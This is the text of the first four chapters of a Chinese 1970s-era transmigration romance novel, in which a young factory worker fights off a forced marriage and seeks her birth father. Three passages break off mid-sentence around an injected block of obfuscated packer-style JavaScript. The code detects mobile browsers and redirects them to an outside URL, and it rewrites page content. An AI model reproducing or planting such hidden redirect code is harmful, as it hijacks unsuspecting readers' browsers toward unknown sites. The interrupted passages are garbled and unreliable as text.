《大院来了个漂亮妹妹[七零]》 1. 第 1 章 第1章 宁穗睡眠不足,脑袋一阵嗡嗡作响。 刚洗漱干净,耳边又传来了一阵聒噪的声音: “宁穗,这是你爸临死前给你定下的亲事,连聘金都收下了。” “你要是不肯嫁过去,冯家的人马上就会去报公安,说你骗婚,到时候你不嫁也得嫁!” 江河镇机床厂家属区正值上工时间,李素芬那忒大的嗓门吸引了工人们的注意,狭窄的江家小院门口立刻挤满了瞧热闹的街坊四邻。 大家纷纷窃窃私语起来,想要看看到底是谁家这么有福气,能娶到厂花。 宁穗,年岁二十二,长相十分漂亮。 那莹白的脸蛋儿像是精雕细琢的美玉,一笑起来,让人魂儿都丢几分。 可惜宁穗的个性从小就软弱怕事,以前有一个硬气的父亲给她顶着,不然早就被二流子盯上了。 可江建国这老父亲这一顶,顶的就是好几年,生生把宁穗熬成了老姑娘。 可即便是老姑娘,想要娶厂花的男同志依然多不胜数。 但宁穗好像下定了决心,想要当个老姑婆。 可李素芬第一个就不同意! 众所周知,江家是重组家庭。 李素芬在灾害年代带着一儿一女来到江河镇本想投靠亲戚,却遇上了带着一个女儿的老实人江建国的好心收留,两人一过就是十年。 整个家属区都知道江建国最宠爱宁穗这个女儿,捧在手里怕摔了含在嘴里怕化了。 李素芬纵然有诸多埋怨,但这些年有江建国做中间人,倒也相安无事。 不过就在两个月前,江建国因救落水儿童而溺水身亡。 留下了机床厂工作一份和家属区房子一套。 李素芬以为江建国会把工作和房子留给她的儿子。 毕竟她的儿子一直说在锅炉厂烧煤太辛苦。 没想到江建国居然把工作留给了宁穗,只给了她儿子一套家属房。 李素芬对此一直颇有怨言。 如今江建国去世了,她第一时间就是想把宁穗这个眼中钉弄走。 宁穗穿着一身湛蓝色的工作服出来,灰蓝死气的工作服穿在身材高挑的她身上,居然多了几分时髦。 她那白皙红润的脸蛋细腻顺滑,大大的杏眼丝毫却看不出半点惊慌。 宁穗:“谁收的聘金你让谁去嫁,反正我是不会嫁。” 说完,便坐在门槛边的小板凳上,换鞋子。 半个眼神都没有给李素芬。 李素芬气得想要撕破宁穗那张漂亮的脸蛋,但因为有街坊邻居围观,语气平和下来: “宁穗,虽然我不是你亲妈,但总归不至于害了你。人家进财他爸是机床厂的领导骨干,他妈还是供销社的售货员呢。你说,冯家哪里不好?” 众人倒吸了一口气。 冯家啊,这么好的条件,确实无可挑剔。 厂花眼光居然这么高,连冯家都看不上眼?! 宁穗把鞋带系好后,拍了拍裤子上的灰尘,淡淡道:“芬姨,既然冯家这么好,那您就嫁过去呗。反正我爸都死了,您也还这么年轻。” 围观人群差点笑喷出声! 而当事人李素芬则气得一张脸黑成锅底,愣是说不出话来:“你……” 这死丫头,听听这说的叫什么话? 什么叫让她嫁过去? 她这张老脸还要不要了? 要不是冯家指定要宁穗这丫头,她才不要受这窝囊气。 她让自家闺女嫁过去也轮不到宁穗这便宜女儿! 不过要怪还是怪自己那不中用的儿子,非要娶什么厂长家的侄女,一开口就是要一千块的彩礼。 就算是把她掏空也不可能拿得出一千块来啊! 不过要是能说服宁穗换亲,倒也解决了彩礼的事情。 这还不止,冯家还承诺另外再给一笔彩礼他们家。 要是宁穗愿意嫁过去,怎么算都是一笔巨划算的婚事。 但奇怪的是,自从江建国去世之后,宁穗也跟着大病一场。 可宁穗这病一好,突然就像换了个人,性格也变得泼辣了起来。 大概是因为知道自己没有了父亲撑腰,前不久才拿着刀,大半夜的站在床头边上对着他们一顿输出,要是再敢打她的主意,她就跟他们拼命。 别说让她嫁给冯家,就是让她把工作让给她家儿子也一概没得商量。 所以宁穗虽然口出狂言,但李素芬也不敢拿她怎么样。 深怕她半夜又拿着刀站她床头去! 宁穗对着黑脸的李素芬笑了笑,说:“你放心,现在是新社会,我爸肯定会理解的。” 说完,宁穗就提起一个印着“劳动积极分子”的铝制饭盒,径直往门外走。 宁穗人高腿长,一会儿功夫已经走老远了,李素芬憋了一肚子的气只能吞回去肚子里。 * 宁穗离开了吵闹的家属区,摸了摸空荡荡的肚子,决定先去国营面馆解决一下民生问题。 虽然李素芬那些要挟的话已经被她抛之脑后,但她并没有放松警惕。 毕竟,现在坐在面馆的宁穗在一个月前,已经脱胎换骨。 没错,她是穿越而来的,只因她在坐飞机时失眠,手贱翻了本年代文小说。 结果飞机“嘭”一声后,再睁开眼就到了这个年代。 原著中,原主很快就会被李素芬母子设计嫁给冯家的二儿子冯进财。 自打原主的养父江建国去世,原主一病就是一个多月,李素芬那个虎视眈眈哟,不是打机床厂工作的主意,就是想要把原主给嫁出去,好给她家的儿子和女儿腾地方。 所以,江建国当时把工作留给了宁穗也是早有考虑。 为的就是防着李素芬翻脸不认人。 毕竟书中的她,除了一张漂亮的好脸蛋,懦弱怕事,逆来顺受。 那冯家条件是不错,但他们还有个失心疯的大儿子,宁穗嫁过去之后,冯进财还撺掇她给那失心疯的大伯生个孩子,让他老有所依。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899273|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然原主最终没有答应,但冯家一家人都有点问题。 大儿子是失心疯,李素芬给她找的对象冯进财虽不至于疯,但他脾气暴躁疑心又重,一有不顺心的事就会狂摔家里的东西。 因为原主长得漂亮,冯进财看到她跟男性说句话,都会怀疑她跟别的男人有染。 久而久之,开始对原主拳打脚踢。 后来家暴成了家常便饭,孩子也被打流产了两个。 慢慢地连几个孩子都看不起她,甚至跟着冯进财一起辱骂她,打她。 最终,原主被冯进财打断了一条腿,还被毁了容。 亲生父亲找到她的时候,精神已经严重受损,下半辈子都是医院里度过。 想到原主的这个凄惨结局,宁穗一阵头皮发麻。 现在宁穗已经是机床厂的正式工,吃的是商品粮,留在这里其实也能生活得不错。 但留在这里,就得跟养母斗智斗勇,是下下策。 就算她想要远离养母,也只能另外找个男人嫁了,。 但极度颜控的她,实在没见到过有几个能入她的眼。 所以靠男人,不如靠亲人。 她很努力地回想着书中的一切线索,终于记起了原身的亲生父亲是京市某部队的师长。 于是她撒网式地给京市的各个部队寄出了无数封信,就盼着亲生父亲早点跟她联系。 毕竟这个年代出行很困难,没有介绍信寸步难行,甚至连火车票都买不到。 可是没有,如今将近两个月过去,依然音讯全无。 让宁穗都要怀疑,原主到底是不是真的有个亲生父亲。 要是再这么下去,说不定哪天就要被李素芬他们敲晕直接送过去冯家,那就惨了。 思索间,热辣滚烫的面条端了上来。 宁穗看着旁边穿着中山装的男人递出去一张全国粮票,眼睛立马亮了:“同志,请问你这全国粮票还有吗?我想要换一点。” 那中山装同志警惕起来,左右瞭望:“怎么?同志你这是……” 宁穗怕被人当作是票贩子,立马摆手:“同志您别误会,我是准备去京市探亲,想要换点全国粮票,不知道哪里可以换。” 这两月她自己把粮票和工资攒起来,已经小有积蓄。 而且养父对她也不错,知道李素芬不待见她,以前也偷偷塞了些票子和钱给她。 如果能早点换好粮票,也能应对突发情况。 中山装同志闻言,放下了戒心,但还是遮掩地小声道:“二桥头的光明街知道吗?那里什么都能找到。” 宁穗当然知道,那里是有名的黑市! 以前江建国可不会让她去那种地方,不过宁穗是什么人? 不走寻常路的人,哪里刺激哪里就有她的身影。 宁穗:“那找人能找到吗?” 中山装同志:“也许……可以吧?” 听到中山装同志的这句话,宁穗心中燃起了希望。 她要离开这里,她找“她”的亲爹! 2. 第 2 章 第2章 宁穗是个行动派,下工之后直接往黑市狂奔而去。 光明街离机床厂并不算远,宁穗走了大概二十多分钟就到了二桥头。 傍晚时分的光明街热闹非凡,聚集了放工的工人和放学的孩子,看起来半点都不像黑市该有的样子。 宁穗早早换上了自己的常服,这年代的衣服普遍以暗沉色调为主,挤在人群中间倒没有特别显眼。 不过来这黑市,倒是真第一回。 原主从小就在江建国的羽翼下成长,虽说是在乡镇里,但因为父亲疼爱,倒是没受过多大的苦。 对于黑市的了解,因为父亲的制止,也是知之甚少。 宁穗决定先观察一番,再做打算。 她站在街口的转弯位观察了大概十来分钟,大致辨认出来这个的确是黑市交易市场。 宁穗从他们的说话嘴型辨认出交谈内容,这些人基本都是附近的村民,他们有的卖鸡蛋,有的卖粮食,更甚还有卖自行车收音机之类的大件物品。 但是黑市里面的东西比外面供销社贵多了。 宁穗看了一会儿,慢慢朝着黑市市场走进去。 虽然她面上并没有表现紧张,但好奇飘忽的眼神还是吸引了一个大婶的注意。 大婶问:“妹子,你是想要找什么吗?” 宁穗看着头上包着一块格子方巾的大婶,她微微侧避的身影看起来有几分躲闪的意味,手里还挎着一个村民用来买东西的竹编提篮,上面还盖着一块蓝色的布料。 看起来,这人应该也是来黑市做买卖的。 宁穗没有来过黑市,也不知道具体该怎么交易,但她知道李素芬的儿子经常来黑市换东西,却从来没被抓过。 秘诀嘛,那就是速战速决。 宁穗朝她笑了笑:“婶子,我想要找人。” 大婶只是拿家里鸡蛋出来换点钱的,但看着宁穗是个挺漂亮的姑娘,便多问了一句:“你要找啥样的人?” 宁穗:“我要找京市里头的人,他是部队的师长。” 大婶那瞪圆的眼睛都快要吓掉了:“什、什么?京市?师长?” 宁穗坚定点头:“是的,我想要找一个姓宁的师长。” 大婶从惊讶的神情变成了忍俊不禁:“哎哟妹子你这不是开玩笑吗?我们这小小的江河镇,你说谁能认识京市里头的人?更别说还是部队的师长呢!” 宁穗倒没有因为大婶的话而感到气愤,而是再一次感叹这个时代的局限性。 有些人一辈子都没有离开过自己的镇子,更别说是那遥远的京市。 所以此刻,宁穗更加坚定了要离开这个鬼地方。 宁穗真诚地继续问道:“那婶子您知道有谁家的亲戚在京市的吗?我真的想要找人。” 大婶闻言,打量了几眼面前这漂亮的姑娘,这次却没有任何的嬉笑,认真地思索了几秒:“这个我真不晓得。不过……” 宁穗眼睛一亮:“婶子有认识的人?” “认识的人倒是没有,不过你可以去找二狗试试看,他认识很多人,还有一个当军官的亲戚在部队。” “二狗?” 宁穗差点笑喷出来。 “你别看二狗吊儿郎当的,之前那谁去当司机,还是他帮忙买的工作呢。” 宁穗再次震惊:“工作都能买?” 那她现在的工作岂不是也可以卖出去? 大婶看了看宁穗一脸什么都不知道的表情,讪讪地笑了声,“有钱,什么买不到。” 宁穗却记下了所有的关键信息,这年代工作难求,尤其是村镇地方,多的是下地刨食的农民,挣的工分都不够吃喝,所以公社和供销社的工作是一职难求。 而江河镇上仅有的两个国营单位,机床厂和锅炉厂更是大家挤破头都进不去的。 难怪李素芬对宁穗的机床厂工作这么虎视眈眈。 但宁穗决定了,要是李素芬敢对她下绊子,她宁可把工作给卖了,也不会留给她家任何人! * 宁穗看那大婶走开了,连忙去找那个叫二狗的人。 这会儿已经是吃饭时间,二狗端着一个碗蹲在自家门口吃饭。 宁穗问:“同志,请问你是二狗吗?” 看到宁穗急急忙忙的样子,抬头看了一眼,便问:“有事?” 宁穗单刀直入:“我要找人!” 二狗当她是来找相亲对象的,问:“你是想说,要找相亲对象是吧?” 宁穗微怔:“不是,我要找京市的亲人。” 二狗抓起衣服擦了下嘴巴,上下打量了一番宁穗。 面前的小姑娘有着一双葡萄似的黑眼睛,皮肤莹白细腻,五官无可挑剔的精致,乍一看,比知青社那群从城里来的女同志还要漂亮。 更重要的是,面前这个姑娘没有一点女同志常有的扭捏害羞,倒是个大方果断的人。 “还以为你要找相亲对象,那我可真有人可以介绍给你。”二狗自言自语两句,然后把碗里的饭粒扒拉干净,问:“你要找什么人?” 宁穗把有关亲生父亲的仅有信息一口气给说给了对方,二狗却没有像刚才的大婶那样笑她,而是说:“十天之后,你再过来找我。” 这回轮到宁穗一脸惊愕看他:“你真能帮我找到?” 二狗点点头:“二十块钱。” 宁穗:“……” 真踏马贵,都差不多她一个月的工资了! 不过要是真的能离开这个鬼地方,二十块值了! * 回到家的时候,江民安的声音从屋内传出来:“妈,宁穗那丫头还是不肯答应嫁给进财哥?” 李素芬在地里忙活一整天,回来还得伺候懒成虫的儿子,气呼呼道:“你以为我是你爸?我说什么那死丫头都听?我看她就是故意跟我们对着干,一心想要气死我!” 说完了宁穗,李素芬又怨起了自己的儿子:“你也是的,也不看看自己几斤几两,非要娶什么干部家的侄女,一开口就是要一千块的礼金,她不嫁就拉倒!” 江民安掏了掏耳朵,半点都不想听自家母亲的念叨,只是问:“那宁穗要怎么样才能答应嫁给进财哥?” “我怎么知道?宁穗今儿早说了,谁收的礼金,谁去嫁!”李素芬当然也希望宁穗可以答应嫁过去冯家,家里可以空出个地方来不说,以后家里也不用多煮一口人的饭。 更重要的是,自从江建国去世之后,宁穗怎么看都不对劲。 早点把她嫁出去,家里早清净。 江民安嗤笑:“她连进财哥都不嫁,还想嫁个什么样的?真以为自己是天仙啊,长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899274|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漂亮就挑三拣四!” 江民安摸了摸鼻子,心想可不能让宁穗和他妈知道他已经拿了冯家给的一部分礼金。 就算是宁穗不答应,那他就是绑也要把她绑过去冯家。 宁穗故意用力把木门一推,门框发出了巨大的响声。 “长得漂亮不挑一挑,难不成要像你这样等着被别人挑?”她抱着手臂,冷笑着看向江民安。 “对,你就挑吧,再挑下去你就等着当老姑婆,这辈子都没人要你!你还真当现在爸还在世呢,处处护着你是吧?我告诉你,冯家的人一报公安,你不嫁也得嫁!”江民安总觉得宁穗哪里不对劲,换了是以前,就算是他们奚落几句,她都是忍气吞声,半句话都不敢出。 闻言,宁穗走到了江民安面前,抬起手用了最大的力气往他脸上狠狠扇了下去。 就是因为原主以前处处让着他,他还真以为这个家是他能呼风唤雨的是吧?! 再不教训他一下还真当我是病猫呢! 即便现在没有江建国护着她,她照样能在这个家里立足起来:“江民安,就算是爸去世了,也轮不到你爬我头上来!论辈分,你比我小,你应该尊称我一声姐;论情分,我跟你半点血缘关系都没有,什么时候轮得到你来插手我的婚事?” “宁穗,你……你居然敢打我!”江民安显然是被宁穗的一巴掌给扇懵了,好一会儿都没反应过来,只觉得脸上一阵酸疼。 宁穗这手劲可真大,疼死我了! 宁穗哼笑:“打你就打你,还用得着挑日子!” “你干什么?你干嘛打我儿子?”李素芬鼻孔放大,两眼充血地看着宁穗,好像要把她给吃掉似的。 宁穗一把抄起了一旁的扫帚,说:“我告诉你们,再打我婚事的主意,我一个不放过!” 然后两手一掰,“啪嗒”一声,扫帚从中间断成了两半。 吓得李素芬连连后退了两步,刚刚护犊心切的怒气一下子被吓没了。 宁穗满意地看着两人的神情,拍了拍手掌,潇洒地回去自己的房间,直接把房门给锁上。 * 宁穗的反抗总算起了效果,接下来的好几天李素芬母子都没有再敢拿婚事做文章,耳朵终于清净。 不过宁穗这天一早回到机床厂,政治处的梁主任就叫她去了办公室谈话。 梁主任一手翻看着宁穗的档案,一边说:“宁穗同志,你的年纪也不小了,怎么还没有解决个人问题?” 要是其他人这么问她,她肯定如实回答。 不过厂里的人都知道,这个梁主任是冯进财的亲戚,不用看都是冯家那边派来探口风的。 看来冯进财还是没有放弃。 宁穗干脆说:“梁主任,我对象参军去了,等他回来我们就会结婚。” 她就是在赌,赌二狗能帮她找到亲爹,到时候这些人爱怎么说就怎么说。 “据我所知,你可没有对象。”梁主任明显是把她的话当成了耳边风,笑着说:“这样吧,组织关爱厂里的职工,给大家准备了一场相亲大会,我已经帮你报了名,到时候你去参加一下。” 宁穗:“……” 正当宁穗一脸愁容从政治处出来之后,话务处的女同志突然拉住她:“宁穗同志,邮局刚刚来电话,说是有你的电报,你快去拿一下。” 3. 第 3 章 第3章 “宁穗,听说你跟冯家的老二在处对象是吧?”话务员同志往政治处办公室瞄了两眼,然后神秘兮兮问宁穗。 宁穗不假思索地否认:“不是,我没有跟他处对象!” 面前的话务员同志是个中年妇女,对厂里的八卦那是了如指掌,难怪出来就拉着她。 原来是为了八卦她和冯进财的事。 “啊?没有吗?”话务员同志一脸的疑惑,满脸写着不相信。 宁穗皱着眉头:“我连他长几个眼睛,几个鼻子都不知道,怎么可能跟他处对象?” 她确实没有跟冯进财接触过,以前也只是远远见过。 宁穗对他长什么样是一点印象都没有,更不可能跟他处对象。 想想觉得不对劲,宁穗又问:“是谁说我在跟他处对象的?” “大家都知道啊。”话务员同志眼巴巴地看着宁穗那张白皙漂亮的脸蛋,一字一句道:“冯家那老二前几天来过咱们厂的二车间,还对那些男同志警告说,要是谁敢靠近你,他就对谁不客气。” 宁穗接管了她父亲的工作后,就是机床厂公认的厂花,当时还引起了一阵热议。 平日里可多男同志找借口接近她,有些大胆的男同志还会给她写信。 不过据说宁穗没有跟任何男同志有过亲密来往,后来冯家老二的出现,大家便猜想宁穗原来是早有对象,所以才会拒绝广大男同志的好意。 宁穗皱起眉头,难怪这段时间没有任何男同志跟她说半句话。 要知道她刚进厂的时候可是厂里一枝花,多少男同志对她献殷勤。 原来是冯进财那个混蛋在背后捣鬼! 宁穗挤了挤眼睛,直到感到一阵酸涩,故作屈辱道:“谢谢同志,要不是你告诉我,我都不知道冯进财居然在背地里这样子污蔑我的清白,这让我一个女同志以后还怎样在厂里混下去?!” 这事肯定不能就这么算了。 她宁穗可不是一个吃亏的人! 话务员同志看到宁穗这么一个大美人在她面前红了眼眶,立刻就手忙脚乱起来:“宁穗同志你别伤心,如果这事不是真的,大家都会帮你的。” 宁穗抽抽泣泣着把李素芬“逼婚”的经过,给这位热心的妇女同志说了一遍,然后假装擦了擦眼泪:“我是不可能嫁给冯进财的,他……他要是污蔑我,我、我就死给他看!” 死是不可能死的。 她还要让冯进财付出应有的代价! 宁穗那眼里含泪的可怜模样,让话务员更加的怜悯,顿时就义愤填膺道:“这都成什么世道了!现在讲究的是恋爱自由,婚姻自由,你要是不想答应,一定要反抗,大家会帮你讨回公道的。” 然后又把冯进财和李素芬骂了个狗血淋头。 毕竟大家都知道李素芬是宁穗的后妈,现在江建国走了,后妈虐待欺负养女那都不是新鲜事。 宁穗点了点头:“同志,谢谢你,我回家之后就跟家里人说说。” 宁穗可不指望别人真的能帮她讨公道,但有人帮她澄清一下也是好事。 只要有人八卦,这事就不怕闹大。 那话务员显然也只是随口安慰她:“傻孩子,别想那么多,你先去邮局把电报拿了吧,不然等会邮局该关门了。” 对,电报。 宁穗差点把这事给忘了。 只是她没有给任何人发过电报,会是谁给她发电报呢? 唯一的可能就是她寄去京市的信件,终于有了回音。 因为当时是广撒网式的寄了很多信件过去京市,宁穗唯恐不够说服力,还在随机的两三封信里面放了自己的照片。 据书中描写,原主的长相和亲生母亲非常相似,而且左眉下角有颗小小的美人痣。 原书中,宁师长就是这样认出她来的。 宁穗迫不及待地往邮局赶去,唯恐去晚了邮局的人就要关门下班。 去到邮局的时候,人却非常的多,尤其是电报服务窗口的队伍,已经排了长龙。 就在宁穗准备要加入长长的队伍中时,有人呼喊她的名字:“宁穗。” 宁穗回头一看,居然是之前她去找过的二狗! 这二狗居然是邮局的工作人员?! 没等宁穗走过去,二狗已经拿着一张电报样式的纸张走了过来,然后递给她:“二十。” 宁穗还没开口说话呢,这人就要她掏二十! 他是吸血鬼吗? 宁穗问:“这是我的电报?” 二狗点头:“嗯,京市打来的。” 宁穗眼睛一亮,心甘情愿地掏出了二十巨资,递过去:“同志,你点一下。” 二狗看都没看,直接把宁穗那叠得整整齐齐的纸币塞进了裤兜里,然后把电报一甩:“你的。” 宁穗接过电报,直接把绿色字样的信封给撕开,只见上面白纸黑字写道: 【哥哥马上来接你!】 什么意思?这电报难不成不是宁师长打来的吗? 哥哥? 哪门子的哥哥? 原书中对于宁家的情况没有详细介绍过,她也不确定原主到底有没有兄弟姐妹。 可是她之前寄出去的信件都是写给宁师长的,她没有跟什么哥哥联系过啊。 这…… 不会是二狗用来糊弄她的吧? 二狗好像看清了她的想法,抬起头:“放心,我二狗办事是有口碑的,给你打电报的人叫宁望北,他刚好跟我哥一个部队的,过几天你哥就会过来江河镇接你。” 宁穗:“!!!” “同志,谢谢你,你的大恩大德我一定会记得的。” 二狗却没有把她的话当真,已经踱着步走回去邮局的办公室。 * 从邮局出来,宁穗打算去国营面馆吃点东西。 因为宁穗没有把工资交出来,李素芬从上个月开始就没有再煮过她的饭。 宁穗也不是会亏待自己的人,只要经济允许,偶尔会下一次馆子。 但刚刚才花了二十块钱出去,宁穗头一回心疼兜里的钱。 只因这年代挣钱实在是太难了。 她继承了养父的工作,但因为江建国是技术工,宁穗就算是进了机床厂,也没有她父亲那么高的工种。 以前江建国可以拿五十五块一个月,养活一家人算是很轻松。 现在的宁穗只能拿二十五块一个月,刚刚一下子花出去二十块,难免不舍得。 不过肚子还要是吃饱的,宁穗拿出电报看了几回,记住了上面的信息,然后直接烧毁。 回到家里,宁穗趁着李素芬和江民安睡觉之后,就点亮了一盏煤油灯,坐在书桌旁,用毕生所学给冯进财的单位写了一封举报信。 而且还是实名举报。 落款人,江宁穗。 这事就得实名举报,偷偷摸摸的话说不定别人只当是一个闹剧。 这年代男女作风问题尤其严重,就连合法夫妻在公众场合都不能有亲昵行为。 稍有不妥,都少不得被人奚落嘲笑,指指戳戳。 要是严重的,还会受到组织的批评,降职降薪,处分开除。 宁穗一个未出嫁的女同志,名声被毁,那是相当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899275|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严重的事情,所以一定要告! 告到中.央也要告! 于是第二天一早,宁穗就拿着实名举报信,大摇大摆地走进了冯进财所在的单位。 * 京市,陆军机关大院的银杏树被凛凛秋风染成了金黄色。 军区医院的病房里,传来了宁望北第一百零八次的咆哮:“倒霉,实在是太倒霉了!怎么会突然发生这样的事?!我好不容易才找回来的妹妹,我说好要去接她回家的!” 宁望北自打接到了江河镇的电话之后,早早给组织打好了假期申请,准备前往江河镇接自己失踪已久的妹妹回家。 明天就是出发的日子了,谁知道今天跑操回来,居然扭伤了脚。 他参军九年,可从没有出现过这么低等的错误! 倒霉! 实在是太倒霉了! 只见一个剑眉星目,轮廓分明的男人站在军区医院的病床前,手里还捏着一张少女的照片。 他低沉的嗓音响起:“你让我接这个人回来?” 宁望北:“这是我妹,她有名字的,她叫宁穗!” 贺长青:“嗯。” 宁望北看着自己打了石膏的右腿,悲痛万分地看着战友:“除了你,我不知道还能指望谁。你知道的,我只相信你。” 宁师长远在边疆,需要半个月之后才能回京。 大哥就任外交部翻译工作,不能随便出京。 二哥就更不能指望了,一头扎在了科研的大海里,自己姓甚名谁都不知道。 原本全家人都在指望他把妹妹接回家,结果他还意外负伤! 贺长青虽然是冷血了点,但办事稳妥,不然人家也不会年纪轻轻就当上了团级干部。 最重要的一点是,贺长青出了名的不!近!女!色! 前不久才拒绝了有军营一枝花之称的女同志,那女同志还是某司令员的孙女呢。 大家都在热议,贺长青铁定是有点什么不可告人的毛病。 所以即便是怀疑他的能力,也不需要怀疑他会欺负女同志。 所以宁望北思来想去,只能委托这家伙帮忙把人接回来。 其他人,他不放心! 贺长青对战友那满嘴跑火车的话丝毫没有动容,只是问:“你怎么确定那是你的妹妹?” 对此,贺长青保持怀疑的态度。 原因无他,只是一封信一张照片,怎么能够证明那就是失散了十多年的亲人? 宁望北瞥了眼这个以冷血、刚硬、无情出名的战友,激动道:“我一看就知道了,跟我妈年轻的时候长得一模一样!除了我妹妹,亲生的妹妹,还有谁能长这么漂亮?!” 贺长青垂眸看了眼手里的照片,头一次对宁望北的措辞感到认同。 “人不可貌相。” 宁望北瞥了眼贺长青那过分英俊但冷酷的脸:“你不懂,你又没有妹妹。” 又不服气地加了一句:“更没有这么漂亮的妹妹!” 贺长青掀了掀眼皮,对此不置可否。 只是随手把那小小的照片放进牛皮袋里,说:“我明天出发,处理好组织的任务才能过去江河镇,你给那边打个电报。” 宁望北哪里听得进去,看到贺长青随便地把宁穗的照片放进去牛皮袋,忙说:“贺长青,你把我妹的照片放好,放到最安全的地方!” 贺长青皱了皱眉,脸色更加的冷淡:“这里足够安全。” 宁望北还是不放心地吼道:“你可不要把我妹的照片丢了,我就一张!” 贺长青充耳不闻,冷着脸把病房的门给关上,扬长而去。 4. 第 4 章 第4章 宁穗把信交到了粮所的政治处办公室之后,准备离开。 这时候正是粮所上工时间,单位门前聚集了很多上班的人群。 宁穗专门挑的时间,为的就是把事情闹大,让大家都知道冯进财在撒谎,坏她的名声。 “财哥,那不是你的对象吗?” “真的是嫂子,嫂子长得可真俊,十里八乡都找不出第二个有她这么好看的女同志,财哥你是真是有福气!” “财哥,你对象这是一大早特地过来找你的吧?你怎么还不赶紧过去看看?” “……” 粮所的正门,几个穿着流里流气的男人,正用暧昧的眼神对着宁穗的身影窃窃私语,甚至还有人吹起了口哨,引得粮所的职工纷纷驻足瞭望。 冯进财看着宁穗那高挑曼妙的身材,精致无暇的面孔,在众人的吹捧下,虚荣心得到了莫大的满足。 自从两年前第一次见宁穗开始,他就喜欢上这个漂亮温柔的女孩子。 无奈以前江建国把这个闺女看得实在是太紧,即便他有诚意,但对方也不肯松口。 好不容易等来了机会,冯进财第一时间就找上了江民安,要他帮忙牵线。 虽然宁穗嘴上拒绝这门婚事,但肯定是因为她还没发现自己的好。 就他家的条件,而他又是粮所的小领导,多少女同志上赶着要给他当媳妇呢! 冯进财扬了扬衣领,飞扬跋扈地一笑,提起嗓子:“去去去,你嫂子害羞,我一个人过去找她就行了,你们都给我滚远点!” 冯进财当然不可能跟这些人说,宁穗其实还没答应要嫁给他。 两人并没有真正开始处对象。 但是没关系,就算是宁穗不愿嫁,他也有的是办法让她嫁。 就在这时,宁穗停下了脚步,似乎是感觉到冯进财众人的注视。 要是换了以前,怯懦胆小的宁穗第一时间是选择逃避,退缩。 但今时今日的宁穗可不是一个怕事的人。 她还怕今天的事情闹不大呢。 宁穗遥遥地朝着冯进财看过去,脸上露出一个平静的冷笑。 说实话,原主也没看上冯进财。 除了冯家家世比村镇上的大部分人要好,冯进财的样貌身高是一个都不出众。 宁穗是重度颜控,以前就是因为几个追求者都不够帅气,她到死都没尝过男人的滋味。 想想都觉得亏大了。 其实退一万步想想,样貌和身材随便占一个都是可以的。 样貌和身材两个都占,那得是极品。 冯进财身高肯定不足一米八,方方正正的国字脸,腰背还有点微微佝偻,看着精神气不足的样子。 更别提他那扭成咸菜一样的衣服,毫无形象可言。 想到原书中冯进财稍有不愉快,就会找原主来打骂发泄,宁穗当即忍不住嗤骂出声:“畜生!” 冯进财当然听不见宁穗说的话。 而且从他的视角看过去,宁穗天生就长了一副人畜无害,善良好欺负的漂亮模样。 这会儿心上人还直勾勾地朝他的方向看过来,冯进财下意识就把宁穗的注视当成了邀请,连忙抬起脚步走了过去。 冯进财激动的情绪上头,直接就亲昵喊道:“穗穗,你怎么过来粮所了?是不是特地过来找我的?” 宁穗看着孔雀开了屏似的冯进财,冷声说道:“打住,我跟你非亲非故,你应该称呼我一声‘同志’。” 宁穗当然知道冯进财故意套近乎是什么意思。 之前他去机床厂也是跟大家说了些模棱两可的话,让大家误会她跟冯进财有什么见不得人的关系。 冯进财听着宁穗那清脆的嗓音,浑身像是触了电般。 虽然宁穗没有给他什么好脸色,但好歹也说上话了。 不像以前,这姑娘一见他就躲。 虽然以前那害羞的样子很让人怜惜,但女人嘛,愿意跟你吵跟你闹,才能证明她心里有你。 既然江民安已经拿了他的钱,宁穗也早晚会是他的人。 只要愿意出钱出力,哪有追不到的姑娘? 现在的宁穗已经没有任何人可以护着她,他就不信她还能飞出他的手掌心。 冯进财咽了咽口水,微微侧目看着身旁的女孩,“穗穗,我知道你是害羞,不过咱们粮所的人不会随便嚼舌根的,你大可不用跟我撇清关系。你要是不放心,我今天下午就让我家去你家下聘,到时候我们就可以光明正大地处对象了。” 就在冯进财向着宁穗靠过去的时候,宁穗突然大声呼喊:“这位同志,请你自重!” 冯进财一脸懵逼:“穗穗,你冷静点,我没想对你怎么样。” 趁着大家的注意力被吸引了过来,宁穗继续喊道:“这位同志,你不要动手动脚的,我已经跟你说得很明白了,请你不要再纠缠我,现在是法治社会,讲究的是婚恋自由,你可不能随意污蔑我一个女同志的清白,我可从来没有答应过你要处对象!” “你、你要是再污蔑我,我就不活了!” 宁穗突然的呼喊让冯进财有点束手无策,同时也让围观的人群越来越多。 冯进财看着大家的指指戳戳,很快就反应了过来,笑着对大家说:“这我对象,闹脾气呢,大家别见怪。” 